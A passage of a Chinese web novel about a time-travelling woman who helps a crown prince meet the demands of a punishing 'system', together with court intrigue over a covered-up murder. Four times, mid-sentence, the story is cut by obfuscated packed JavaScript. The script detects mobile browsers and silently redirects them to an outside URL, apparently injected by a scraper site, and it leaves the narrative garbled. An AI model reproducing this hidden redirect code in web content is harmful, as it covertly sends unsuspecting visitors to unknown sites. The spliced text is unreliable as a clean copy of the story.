“就是就是,若唤作‘梦入远由’,文意也不通哇!” 穆归衡轻咳一声,打断众人的嘈杂议论声。 “今日之案,在场各位皆有嫌疑。”他目光扫过人群,“在刑房司使到场勘验之前,谁也不许私逃!” 继而转向江御暮道:“劳烦姑娘先回京城报官。” 而后轻声补充道:“让我的护卫随你一起去,以防再遇歹人。回京以后不必急着报官,最好拖延一些时辰,免得诗会早早结束,我便难以完成今日的任务了。” 江御暮点点头,借用旁边的一叶小舟,自行划船离去。 穆归衡目送她平安靠了岸,这才迈步上桥,去亭中入座。 “都坐吧。”他给自己斟满一杯酒,一饮而尽,“接着办你们的诗会,别扫了兴致。” 众人纵然对他此举大为惊异,却也莫敢不从,只得接连入座。来得快的还能抢到远离穆归衡的位置,若来得慢些,就只能坐在他近旁了。 有人欲巴结奉承,远远陪着笑脸对穆归衡道:“太子殿下大驾光临实属难得,您若不弃我等才疏学浅,不妨赏脸出个考题。我等也好因题赋诗,供您评判赏玩。” 穆归衡斜靠椅背,再饮一杯,冷冷道:“也好。那便……以‘春色’为题吧。” 到时他一边欣赏湖光山色,一边品读赞颂春色之诗,应该就算完成【贪色】任务了吧。 只盼官府的人晚些再来。 更盼……江姑娘此行不要遇到什么危险。 他这厢忧思之际,江御暮已经在湖边找到了“梦入远岫”之船,给船家付些散钱便可进去待上一段时间。 船舱被收拾得很干净,没有挣扎打斗的迹象。 江御暮不由暗叹:这里要是有现代刑侦技术就好了,一查指纹,什么都清清楚楚。 搜寻半晌无果,江御暮只得回到马车旁,从两名护卫里挑出一人带在身边。 反正离京城已经不远了,她便拒乘马车,不疾不徐地走了回去。 既然答应了要帮穆归衡拖延时间,就不能立即去官府报案。 那么,去哪里消磨时间比较合适呢? 先去书铺里看看吧,两天没开门,也该打扫打扫了。 慢悠悠晃到枕闲书铺门口,江御暮正打算取钥匙开锁,却发现门锁已经被人撬开了。 是那黑衣蒙面人潜了进去么? 屋内情况不明,江御暮便假称要去查账,遣走了太子护卫。 确认人已走远后,她才打起十二分警惕,推门而入。 正在柜台后头闲坐读书的,不是那人,还能是谁呢? “江小姐让本王好找。”他放下书,带着笑意说道。 江御暮关上店门,取出隐在书架里的短刀,故意问道:“手下败将,还想再战?” 蒙面人摇摇头,起身向她走来:“江小姐误会了,本王可没打算与你为敌。” 江御暮横刀架上他脖颈,阻止他再往前走:“你我初见之夜,你那枚暗器可是奔着取我性命而来的。” 蒙面人闻言哈哈大笑,继而怪腔怪调道:“正因为你躲过了它,本王才发现,留你活着的价值,可比杀你取乐的价值高多了。” “哦?”江御暮强忍厌恶,装作感兴趣地微笑道,“愿闻其详。” 蒙面人握住她的手,推开刀,抱臂笑道:“那夜与你交手后,便有一个问题萦绕在本王心头——既然江小姐的武功如此高超,又怎么会被太子强抢入府呢?” 说着,他微微倾身靠近江御暮,轻声问:“是因为你本就有意攀附太子,所以才在他面前佯装柔弱,对么?” 歪打正着,还真让他猜了个五分靠谱。 江御暮知道反驳无用,索性大方承认:“是又如何?” “你想从他那里得到什么?”蒙面人再靠近半步,“太子妃之位?” 江御暮不避不让,话音带笑,眼中却无半分笑意:“与你有什么相干?” 蒙面人见她如此态度,隐隐已有怒意,咬着牙道:“本王好心好意来为江小姐指一条明路,你何必总拿出这一副火爆脾气来呛人?” 江御暮佯装好奇,配上别别扭扭的迟疑神情追问道:“什么明路?” 蒙面人情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958041|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有所缓和:“江小姐还不知道吧?太子自五年前始,便患上了骨痛咳血之症,时不时便会发作。严重时,甚至有性命之忧。” 江御暮摆出一副惊愕状,仿佛第一次听闻此事,半信半疑道:“什么?可、可我看他明明身体康健,并不像——” 蒙面人打断她道:“这种怪病,连太医都诊不出根由,江小姐又怎么会轻易发现呢?” 江御暮闻言墨眉紧蹙,俨然一副懊恼样子。 蒙面人对此极为满意,接着柔声引导:“你若心愿得偿,顺利嫁给太子,却逢他突发急病而逝。早早孀居,余生的漫漫长夜……还有什么趣呢?” 江御暮佯装摇摆不定:“太子是否当真患上怪病,也不能只听你一家之言。” 蒙面人无所谓地笑笑:“江小姐若不信本王的好意,大可多与太子接触接触,相信不日便能眼见为实了。” 他见江御暮似乎已被说动,决定见好就收,大摇大摆地走出门去。 可临出门时,还是忍不住回头抛出橄榄枝。 “江小姐与太子相识不过三日,想必感情不会太深吧?” 他得不到答案,权当江御暮已经默认,于是走回两步,低头在她耳后留下低语。 “你若真想做太子妃,那么太子是张三还是李四,又有什么分别呢?” 语毕,他扬长而去。 江御暮嫌恶地掸了掸衣袖,仿佛想祛除从他身上沾来的污秽之气。 她才懒得管太子是张三还是李四,只要好拿捏就行。 与之相比,不敢以真面目示人的王二麻子才是下下之选。 江御暮一边腹诽,一边收拾店铺,待扫净灰尘,也差不多耗到该去报案的时间了。 描述案情时,江御暮只说在京郊湖中发现一具尸体,并未提及太子也在现场。 府衙官员一听案发地点远在城外,便推三阻四不愿前往。 无法,江御暮只得说出死者的父亲是礼部侍郎,官员们这才上了心,派出几个衙役,随刑房司使一同前往查看。 待一行人到达湖边,时辰已近黄昏。 穆归衡远远看见府衙的人划船前往湖心亭,便知自己没有时间了。 “恋酒”这一部分任务倒是早已完成,可不论他如何努力“贪色”——春色、颜色、湖光山色,系统都反复给出失败提示。 原因无他,唯“不够贪”而已。 他的确在努力欣赏风景,然而总是心有旁骛,从未真正沉浸其中。 品读士子们以“春色”为题的诗词时,又觉乏善可陈,忍不住挑剔用词用典不够精妙。 以至于虚耗近两个时辰,仍未能完成今日的系统任务。 眼看刑房司使已经登上石桥,穆归衡连忙用心声跟系统讨价还价:我既已完成一半任务,想必惩罚也可以减轻一半吧? 系统总是那么无情:不可。 呵,意料之中。 穆归衡又问:那便退而求其次,不教我即刻受罚,等我回到船舱以后再罚,如何? 身为太子,若当着这么多人的面“发作急症”,只怕会惹出不小的风波。倘若回到船上再发作,只要能忍住剧痛,不出声响,便无妨了。 这次他等待许久,系统才有回应,仿佛思索再三,最终高抬贵手:可矣。 5. 欺负古代人不懂未来 穆归衡佯装无事,对府衙众人简单提点几句,盯着衙役们将诸位士子带走问话,又看着刑房司使前去勘验现场,这才长出一口气,回到了来时所乘的游船上。 门帘放下的那一刹,他再也无力维持站姿,霎时被难以言说的痛楚裹挟着摔倒在地,全身骨骼仿佛无序碎裂,发出噼啪响声,宛如没有节奏的乐谱。 他强忍着咬紧牙关,一声未出,双眼不再清明,隐约见到门帘透过一丝光亮,很快又暗了下去,似乎是有人进来,蹲下查看他的情况。 很快,他的双手被那人握住,无力推开,仿佛回到了今日的双瑛布庄,只是比那时更痛百倍。 “诗会尚未结束,此刻仍在任务期间,你不该提前降下惩罚。” 那声音温柔而坚定,语气不容置疑。 “系统,我在对你讲话。” 是她。 “今日午时,我也来此参与了诗会,只不过中途因故暂离。现下我已回来了,只要我还没作出诗来,我们的船还未离开湖心,今日之诗会,便不算结束,他的任务时限,便不能截止!” 话音落时,穆归衡忽觉身上一轻,痛楚全消。 朦胧间只听系统用毫无感情的声音嘲讽几句:“多此一举。讨来一时半刻的喘息时间又如何?待她作完诗,你还是一样要受罚。” 接着又听到江御暮关切地问他:“任务如何?是哪一节出了问题?” 穆归衡强撑着坐起身来,背靠方桌,用清酒漱净口中血腥后才开口,却对她的问题避而不答。 “姑娘不必再为我费心,拖得了一时,躲不了一世。那厮要罚,就让他罚吧。何况……其实,也没有那么痛。” 说完,他还硬生生挤出一个若无其事的微笑。 “笑得比哭还难看,”她放开他的手揶揄道,“跟吃了酸杏似的。” 其实不必多问,只看穆归衡这样逃避,江御暮便知道,他的任务定然卡在【贪色】一节。 “既然难看,那便别看了。”穆归衡低下头,攥紧衣摆,“今日诗会的主题是‘春色’,请姑娘随意赋诗几句吧。” 颇有几分宁为玉碎的意思,决意迎接无法逃脱的命运。 如此举动,反而使江御暮生出三分敬意。 “可我不会作诗。”她盘腿坐下,与他并肩。 穆归衡不解道:“姑娘不是贵朝的太学学子吗?” 江御暮只提过她穿越前还在读大学,但穆归衡自己替她做了通假字修正,把大学理解成了太学。 江御暮一时半会也解释不清,便将错就错道:“我们那个朝代的科举不考作诗。” 穆归衡相信了这番说辞,接着又提出:“姑娘不是说,后世还有宋元明清吗?想必各朝都有不少诗人,你不妨从中任取一——” “那可不行!”江御暮斩钉截铁地打断他,“若如此行事,我岂不是沦为了文抄公之流?” 穆归衡苦笑:“姑娘是为了帮我,万不得已才如此,又不是借古人诗词沽名钓誉,有何不可?” 见江御暮还想坚持,穆归衡叹了声气,凝望着她的双眼道:“眼下我已走进死局,再耗下去也是徒劳,又何必作困兽之斗?我知道,姑娘是不忍看我受罚。那也无妨,等你念完了诗,去船舱外面等等我就好。最多半个时辰,我便能缓过来。” 江御暮在心里暗骂一句呆瓜,最后出言确认道:“你可想好了?” 穆归衡毫不含糊地点点头。 江御暮回身从方桌上取来酒壶递给他:“先把这壶酒喝了吧,也许被醉意冲淡之后,痛意便不那么明显了。” 穆归衡接过酒壶,一饮而尽。 其实他几年前就试过这个方法,可惜半点用处都没有。 现下乖乖听话,不过是为了安她的心。 喝完酒,他将酒壶放回桌上,闭眼静等。 江御暮则移换位置,坐到了他正对面,思索片刻才开口。 “湖燕醉里渡诗涯。” 穆归衡不知:这是她借用的古人之诗,还是面对此情此景有感而发所作? 因她只是口述,未曾落笔,他甚至不能确定这句诗的前两个字是“胡雁”还是“湖燕”。 若为“胡雁”,想必此诗更有边塞色彩。 若为“湖燕”……倒是暗合了他的异世名讳。 在他思索之际,她的第二句诗也传入耳中。 “醒寤莫颂玄都花。” 穆归衡不知“玄都花”是何典故,微微一怔。 与此同时,这两短句构成一长句,在系统看来就算作完了诗,可以开始降下惩罚。但又不确定她这首诗共有几句,于是陷入了自相矛盾的两难之境。 穆归衡顿觉五脏六腑隐隐作痛,虽一味忍着不出声,可面上的薄汗与额角的青筋终究无法掩饰。 须臾时间被拉成了千百倍漫长,他不知自己唇角那抹鲜血自何时渗出,待他反应过来,想低头掩饰时,江御暮早已抢先一步,伸手替他擦去了血痕。 穆归衡用尽力气睁开眼,想看看她现在的表情是同情还是懊悔,想对她露出一个微笑以示自己没有大碍。 江御暮却伸出一手蒙住他的双眼,另一手抚在他颊边,倾身靠近念出第三句—— “晋笔书罢武陵色。” 语毕,在他唇角印下一吻。 江御暮知道,这是一步险棋,但是赌一赌也无妨。 由于缺乏经验,穆归衡显得有些迟钝。 等他反应过来刚才发生了什么,心跳早已不受控制地加快了。 “还疼吗?”她轻声问。 因着双眼被蒙,穆归衡无从得知她此刻居高临下的审视目光。 浑身骨骼痛楚减轻,使他终于有了开口说话的力气,却依旧答非所问。 “第四句,是什么?” 他的睫毛颤动着,触及她的掌心,像蜻蜓轻点湖面,漾开片片涟漪。 “我若现在说出第四句,诗会可就彻底结束了。” 江御暮移开覆在他双眼之上的手,穆归衡这才发现,他与她挨得很近,很近。 近到鼻尖几欲相贴,近到彼此呼吸交缠,近到他开始担心自己此刻的面容落在她眼里,会是何种样子。 “燕少侠。” 呢喃私语之际,她的这个称呼忽然解了他方才的疑惑——醉里渡诗涯的,原来是湖燕,果然是湖燕。 “既然我已为你试出此局仍有解法……” 她解下穆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958042|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归衡的一根发带,从他眼前覆过,悄然绑紧。 “那么现在,你是更愿意破局,还是继续苦苦受罚呢?” 发带并不能完全阻隔穆归衡的视线,至多给江御暮添上一层朦胧缥缈的面纱。 不知是谁先主动,一吻由浅入深,迟迟未歇。 直到穆归衡脑中响起极煞风景的系统传音,提示他【恋酒贪色】任务已完成。 还补上一句:“算你走运。” 他没有即刻停下动作,却在刹那之后惊觉不妥。 江御暮察觉到穆归衡的微妙变化,于是主动与他分开。 “任务完成了?”她问。 “是……”他点点头,本想解下用于蒙眼的发带,说点什么,却因自己方才升起的一点贪念,羞于直面她的目光。 然而下一刻,江御暮就替他解开了发带。 “还想知道第四句诗么?”她问。 穆归衡直言不讳:“想。” 江御暮从窗边的花瓶里摘下一朵红碧桃,轻轻放在他掌心。面色如常,语气毫无波澜,仿佛刚才什么事也没有发生。 “群英郁馥尽羞杀。” 穆归衡定定地看着那朵花,半晌才握入手中。 他将江御暮的四句诗默念几遍,情绪沉沉道:“难道,姑娘是想让我把今夜之事视作武陵人的桃源一梦吗?” 江御暮笑而未答。 她自知时候未到,不能太早捅破窗户纸,否则很有可能适得其反,引他怀疑。 要的就是眼下这个效果,让他自己去胡猜乱想。只要一天得不到确切的答案,就一天放不下心头的遐思。 “天晚了,回京吧。”她站起身,欲往船舱外走去。 穆归衡紧跟着站起,从身后攥住了她衣袖一角。 他想说些什么。 他应该说些什么。 可是,他又能说些什么? 她本就是为了救他,才做下逾礼之事的。事成以后毫无牵挂地抽身而去,又有何错处? 难道他还要质问两句,硬给这份恩德裹上一层别的意义不成? 想到这里,穆归衡在心里自嘲一笑,垂眸放开了她的衣袖。 江御暮想了想,为免今后二人的关系变得尴尬,她还是得主动圆个场。 “其实少侠无需挂怀……” 穆归衡抬眼看她,洗耳恭听。 “若换做我所属的那个朝代,男女之间往往没有太多避忌。方才之事,也许在你看来有些荒唐,但在我看来,本就是朋友之间也可做的。” 虽然此话有欺负古代人对未来社会一无所知之嫌,但归根究底,也不算全然的谎话。 毕竟从广义上讲,男女朋友也算朋友嘛。 “也许我还算不得太子殿下的朋友,但……如果你今夜只是燕少侠呢?” 穆归衡见她说得大方坦荡,面无半点羞涩,本该觉得如释重负,可是不知为何,心里却怅然若失。 “自然……不论燕识风,还是穆归衡,都早已将姑娘视作良友了。” 江御暮见他神情转瞬几变,便知自己这一步险棋走对了。 太子妃之位,她势在必得。 复国之路,她绝不相让。 6. 问心有愧也未必两难 回到京城已经入夜,穆归衡一直将江御暮送到尚书府门前。 一路无话,直到下马车前,他才想起来问她:“明日,姑娘可还有空来我府上讲史?” “自然有的。”江御暮回以一笑,继而掀开车帘。 “等等。”他拖住她告辞离去的步伐,“自明日起,可否请姑娘暂且略过康雍之后那几百年内容?” “这是为何?”江御暮疑惑地收回手,车帘随之重新落下。 “因为……”穆归衡的右手藏在宽袍大袖里,虚握着那朵红碧桃,“我更想了解了解,你所属的时代是何种风貌。” 江御暮微笑应下,继而想了想,还是决定提起:“对了,今日那蒙面人已来书铺寻过我,言谈之间,对我似乎已无杀意。相比之下,他对你的敌意却是昭然若揭,只盼着你骨痛咳血而亡,好把太子之位让给他坐呢。” 穆归衡仍有顾虑:“他若肯放过你自然是好,怕只怕,他会不会是欲擒故纵,想骗你先放松警惕,再暗中动手?” 江御暮见他放错了重点,只得接着引导:“我会小心防备的。倒是你,该好好查查有哪些皇子意图夺嫡,尽快除之才是。” 虽说她只想当太子妃,太子是谁无所谓。但若真换了旁人,肯定没有穆归衡这么好对付。纵观整个皇室,如此省油的灯,怕也只有他这一盏了。 穆归衡学她讲话:“好,我也会小心防备的。” 然而江御暮怎么看都觉得,他并没有把这件事放在心上。 当真古怪。 二人分别以后,穆归衡行至半路才想起来,自己忘了做一件重要的事—— 昨夜“偷”来的那支发簪,今日忘了还给江御暮。 他本想叫马车掉头回去,仔细一想,又怕这样兴师动众,深夜叩门,会吓坏了江家诸人。 要回府吗?等明日与她见了面,再交还发簪? 不妥不妥。 经过湖心游船一事,穆归衡现在握着那簪子只觉烫手。既然问心有愧,就该早早归还,不能再多留它一刻。 他这厢进退两难之际,江御暮已然回到房中,正在给涵州亲戚家写信。 对长辈的寻常问候之语自不必提,她写信主要还是为了叮嘱妹妹江唤玥莫因贪玩落下功课,顺便告诫弟弟江连镜在那边老实待着,别总琢磨着溜回京城。 从京城到涵州约莫十几日路程,寄信稍微快些。等江家夫人带着一双儿女赶到涵州,这信应该也就送到了。 折好信封,江御暮正要涮笔,忽然察觉门外有轻微响动,似乎有人翻墙入院,走近了这间闺房。 她轻轻放下笔,无声移步床边拔出长剑,悄悄向门口踱去。 怪哉,方才的响动,此时竟不再有了。她在门内警惕防备许久,仍旧无事发生。 江御暮不敢掉以轻心,提剑打开房门,左右上下观察几圈,只见窗棂外侧的平窄石台上放着一物,用一方无绣纹的青玉色绫帕包裹着。 拾起打开一看,里头竟是她那支“带香带玉”的木簪。 喔,来者是他。 人来了,却不当面归还发簪,想必是怕有瓜田李下之嫌吧? 然而事实证明,有些“嫌”,不是他想避就能避得干净的。 次日下朝时间,江御暮去太子府赴约时特意戴上了这支发簪。 “江小姐快请进!” 是太子护卫开的门,昨日送江御暮回京的也是他。 此人名唤石涅,年方十六,在穆归衡身边时还能偶尔保持稳重,但凡一离了他,便无时无刻不活泼跳脱。 “殿下去上早朝还没回来呢,特意吩咐了我在这侯着江小姐。您看您是在院里等,还是进书房等?” “就在前院的亭子里等吧。”她大方自如道,“书房重地,主人不在家,客人怎么好随便进去打扰呢。” 石涅在心中暗暗回答她:照近日的情势发展下去,只怕要不了多久,小姐您就成我们府里的女主人了! 奈何这人心里一有事,脸上就藏不住事。 江御暮伸手在他眼前晃晃:“傻笑什么?” 石涅怎敢把心里话告诉她? 可若不理会她的问题,又显得十分失礼。 语塞片刻,石涅只得另找话题道:“江小姐,您发间这根簪子……是我们殿下送的吧?” 江御暮不置可否,好奇道:“石少侠何出此问?” “不不不不不不不敢担您一句‘少侠’之称!” 石涅一连说了许多个“不”字,原本挺直的腰杆都快躬成了虾米。 “只是殿下昨夜与您分别后不久,忽然叫停了马车。卑职还以为出了什么事,连忙询问殿下。可他却未置一词,只呆看着这发簪出神,继而独自一人下了车,让卑职等人先行回府。再后来……这发簪就出现在您头上了。” 江御暮从他这一番话里提取出了关键词:“呆看?” 石涅点点头,显然没有理解她为什么单把这个词拎出来询问。 江御暮只得挑明了话头,带着笑意揶揄道:“你竟敢用‘呆’字形容你们殿下,不怕他知道了会生气吗?” 石涅尴尬一笑,歪着脑袋挠了挠头:“其实,小姐你应该能看出来的呀……我们殿下只是表面凶巴巴,实际瓤都是好的,没那么小心眼!” “瓤?”江御暮失笑,“他怎么被你说得跟个大西瓜似的?” 石涅摸着下巴认真想了想,纠正道:“不不不,大西瓜不行。籽又多又小,就相当于心眼也又多又小。而且——” 论据还没摆完,府院的大门就被打开了。 听到门轴转动的响声,石涅还以为是穆归衡回来了,连忙闭嘴。 回身一看,却见来者是另一位太子护卫。 “见过江小姐。”他先抱拳行礼,才说起正事,“今日早朝后,太子殿下被陛下留在宫中议事,晚些才能回来,因而特遣卑职前来告知小姐。” 议事? 江御暮有些诧异。 没听说朝中近日有什么疑难之事啊…… 接到口谕时,穆归衡的想法与她如出一辙。 这些年来,皇帝一直大权独揽,处理国事偶有举棋不定的情况,也只会跟朝中重臣商议,从未跟太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958043|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子谈过。 今日不知怎的,太阳竟从西边出来了? 他揣着满腹疑问走进御书房,规规矩矩行了礼,得了赐座。 “不知父皇传召儿臣前来,意欲商议何事?” 皇帝名曰穆明,如今已过了知天命的岁数,脾气比年轻时和悦不少,体态也渐渐发了福,挫去不少锐意。 “归衡,不用紧张。” 皇帝放下朱笔,满目慈爱。 “听说你昨日出京游湖,碰到了一桩命案?” “是。”穆归衡心中生疑,“只是儿臣没有想到,此案竟然这么快就上达天听了。” 皇帝呵呵一笑,从桌上拿起一份卷宗,一边翻阅一边说道:“此案已结,是刘俭自己失足落水,不用查了。” 穆归衡猛地抬眼:“失足?” 皇帝对上他的眼神:“你在疑心什么?” 穆归衡大胆回道:“此案疑与皇子有关。” 皇帝的目光变得锐利:“哪位皇子?” 穆归衡如实回答:“儿臣暂时不知。” 皇帝松了一口气:“你说的那位皇子,已经来朕面前陈过情了。虽然行事鲁莽了些,但也属情有可原,不必苛责。” 说着,他意味深长地盯住穆归衡的双眼:“所以,此案对外只能有‘失足落水’这一个说法。你也得好好管住嘴,不要自作聪明。” 穆归衡蹙眉:“即便这个说法堵得住悠悠众口,可刘俭的家人——” “刘俭自己做下丑事!”皇帝重重一拍桌子,打断他的话,“朕不替爱子诛其九族,已经很宽仁了!” 穆归衡知道此刻不能与他针锋相对,只得归于沉默。 皇帝长叹一声,缓缓开口:“你可知道,他犯的是什么罪过?” “儿臣不知。” 皇帝一字一顿,咬牙切齿,似乎深以刘俭为恨:“他觊觎王妃,还私下抄书相赠。王妃惊惧之下向其夫告发此事,这才有了京郊湖心一案。你说,此等狼心狗肺之狂徒,难道不该杀么!?” 抄书相赠? 穆归衡暗自思索。 难道……就是那册春宫话本? 这说法看似严丝合缝,可不知怎的,穆归衡总觉得哪里有所疏漏。 “觊觎王妃是重罪,既有证据,为何不移交——” “够了!”皇帝再一次打断他,“此等丑事,难道还要大肆宣扬,让天下人都知道吗?即便那厮从未得手,王妃也会被刁民指指点点。吾儿堂堂王爷,又该将脸面置于何地!?” 穆归衡眉头紧皱:“可这毕竟是一条人命,怎能不经审议,以私刑处之?” “人命?” 皇帝冷笑一声,阴恻恻地凝视着他的双眼。 “太子,你自己手上沾的人命,还少吗?” 穆归衡紧抿双唇,隐于袍袖之中的双拳微微颤抖着。任谁看了都会觉得他被说中了心虚之处,因而无言以对。 皇帝把手中卷宗劈头向他掷来。 “你自己好好看看!上面有多少‘结案’二字之朱批,都是为了洗干净你堂堂太子的那双手!” 7. 她一定有许多朋友吧 “一百个姬妾,整整一百条人命。你对外只称她们因病暴毙,引来了多少口诛笔伐!” 皇帝脸上并无怒容,只有深深的忧虑和无奈。 “若不是朕一力相护,替你封住了那些闲言碎语,只怕你这太子之位早就该换人坐了!” 穆归衡屈膝长跪,没有出言解释,全然默认了皇帝责他“身负百条人命”的罪名。 紧接着,他说出的话却超出了皇帝的预料。 “父皇既然早知儿臣罪孽深重,为何不废了儿臣,另立储君?” 也许不做太子,他就能摆脱那个衅稔恶盈的系统,自此再也不必于苦痛深渊中久久挣扎。 皇帝回答得不假思索:“因为在朕眼里,你的这点任性,根本算不得什么错处。” 穆归衡不敢置信地抬眼看他。 平日高高在上的皇帝,此刻似乎把自己摆到了慈父的位置上。 当然,不过是他自以为的“慈父”而已。 “从前朝的托孤大臣,到本朝的开国皇帝,朕这一路步步为营,不论挨多少刻毒诅咒,背多少尖酸骂名也豪不在乎,你可知是为什么?” 还能为了什么? 穆归衡在心里冷笑一声。 无外乎为了地位,为了权力,为了生杀予夺再无制约,为了天下万民诎膝俯首。 皇帝本也没有留出时间给他回答,紧接着自述苦心道:“还不是为了你们这些不争气的孩子!?” 穆归衡说不出违心的奉承话,也不愿陪他演这出父慈子孝的大戏,只得保持沉默。 皇帝却一厢情愿地把这视为他自愧自悔的表现。 “只有为父坐上这把龙椅,你们才能随心所欲,活得自由自在。双手染血又如何?身负人命又如何?” 说到这里,皇帝甚至激动得站起身来。 “你们是皇子,一人之下,万人之上!除皇权天威不可冒犯,还有何人不可杀?何人杀不得?” 穆归衡闭上双眼,今日第一次认同他的话:“是。” 何人不可杀?何人杀不得? 皇帝说出此语时倒是心潮澎湃,可他似乎从未意识到,这句话本就有着两种解读方式。 以他刚愎自用的舐犊之私,养出皇室这一众蠹国殃民的孽根祸胎。 他们这些一人之下,万人之上的皇子,终有一日落在史官笔下,的确当得起那一份评价—— 何人不可杀之?何人杀之不得? 皇帝还沉浸在他的豪情余韵中,慢慢走到穆归衡面前。 “你们都是朕的爱子,朕一视同仁。” 他语重心长,伸手欲扶穆归衡起身。 “既然连你身上那百桩旧案,朕都能为你尽数扫清。眼下你亲兄弟不过荒唐一次,你又为何要紧追不放呢?” 穆归衡却没有顺势站起,反而顿首一拜:“儿臣知错。” 若不如此行事,他怎么藏得住脸上鄙夷不齿,几欲作呕的表情呢? 皇帝见他认错,便满意地点点头,继而长叹一声,换了话题。 “归衡,你老实跟父皇说。你杀那一百个姬妾,是不是为了取引炼药,治疗你的骨痛咳血之症?” 穆归衡心头一瘆,否认道:“并非如此。儿臣的病症暂无药石可医,慢慢养着也就是了。” 皇帝闻言大为失望,又是一息悲叹:“若真有此等奇药,莫说一百个女子,便是要以千万人之性命为引,父皇也定会助你一臂之力。” 明明是慈爱温柔的语气,却吐出这样令人毛骨悚然的话。 实如黑云压顶,使人透不过气。 这种令人反胃的情绪持续了很久,直到穆归衡行至府门之外,听见院里的欢声笑语,才稍有好转。 往日的太子府从未这么热闹过。穆归衡一进门,就看到两名护卫陪着江御暮,与他养的那只狼犬玩得不亦乐乎。 见到主人归家,狼犬兴冲冲地奔去迎接,径直扑向他的双腿。它站起来足有半人高的身量,乍看着实有些唬人。 可惜可叹,这样一只威风凛凛的大狗,竟然也被起了个俗气的名字——旺财。 它自己还喜欢得很。 穆归衡敷衍地陪旺财玩耍片刻,就让石涅把它牵回了后院。 江御暮依依不舍地望着旺财的背影,问道:“前两次来你府中,怎么没见到它?” 穆归衡坦言道:“它身量太大,又闹人,怕吓着你,就拴在后院了。” 说完又反应过来哪里不太对劲:“今日出门前我也交代过,让他们看好旺财,别放它乱跑,怎么我一回来却——” “别怪他们!”江御暮为护卫们开脱道,“是我刚才闲得无聊,非要他们把旺财牵出来遛遛的。” 穆归衡惊讶:“你知道我府上养了狗?” “看来你对旺财的知名度还不够了解。”江御暮拍拍他的肩,“全京城都知道你养了一只狼犬,还挖人心肝饲之。” 若放在往日,穆归衡定会随她一起调侃几句。 可是今日与皇帝密谈之后,他却只觉齿冷。 是啊,在世人眼中,他比其他任何一位皇子都更加无法无天,狼戾不仁。 这样的太子,又有什么资格过问其他皇子犯下的罪行呢? 江御暮见他走神,便追问道:“挖人心肝喂狗,应该也是系统给你发的任务吧?” 穆归衡点点头,片刻后又补充道:“但我没有杀害无辜之人。” “我知道。” 江御暮语气轻松,答得毫不迟疑。 刚才陪旺财玩时,她就向石涅问过这一传言的由来。 “当然是假的了!”石涅大呼离谱。 据他所说,是穆归衡某日“突发奇想”,让他们去处决恶犯的刑场,寻一具没有亲人认领的尸体,带回府中后,又从府衙请来仵作,剖出那死刑犯的心肝喂狗。 “那旺财吃了吗?”她问。 石涅摇摇头:“它比殿下还挑食呢!怎么会吃那玩意……” 说完愣住片刻,又马上找补起来:“呃,呸呸呸,小姐别误会,卑职没有拿旺财跟殿下比的意思!” 石涅见自己此言逗笑了江御暮,便放心地为穆归衡说起话来:“诚然,殿下此举有些古怪。但一不伤天,二不害理。也不知外头人是怎么传的,竟以讹传讹到了那种地步!” 经过石涅这番喊冤叫屈,此时此刻,江御暮更好奇的则是—— “既然旺财最后没吃下那副心肝,你的任务还能完成吗?” “嗯。”穆归衡虽提不起情绪,却还是尽量回答,“毕竟系统只要求我喂它,至于它吃或不吃,都与任务成败无关。” 江御暮看出他心情不佳,犹豫片刻后还是问道:“怎么闷闷不乐的?陛下都找你聊什么了?” 穆归衡没有隐瞒,将一切尽数告知。 也许在这世上,她是唯一一个能理解他处境的人了。 江御暮听完他的叙述,没有发表任何观点,只温和说道:“你不是想多了解一点我所属的那个时代吗?” 穆归衡不知她为什么忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958044|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把话题转移到此处,带着疑惑点点头:“是。” 江御暮靠近他半步:“在我们那,遇到朋友心情不好的时候,常常会用拥抱的方式安慰对方,不论男——诶!” 话音未落,穆归衡就将她抱进了怀中。 江御暮有些意外。 本以为凭他这羞赧性子,得多费她几番口舌,没想到竟如此顺利。 因着二人的身高差距,穆归衡微微偏头便能看到她发间的樒香木簪。 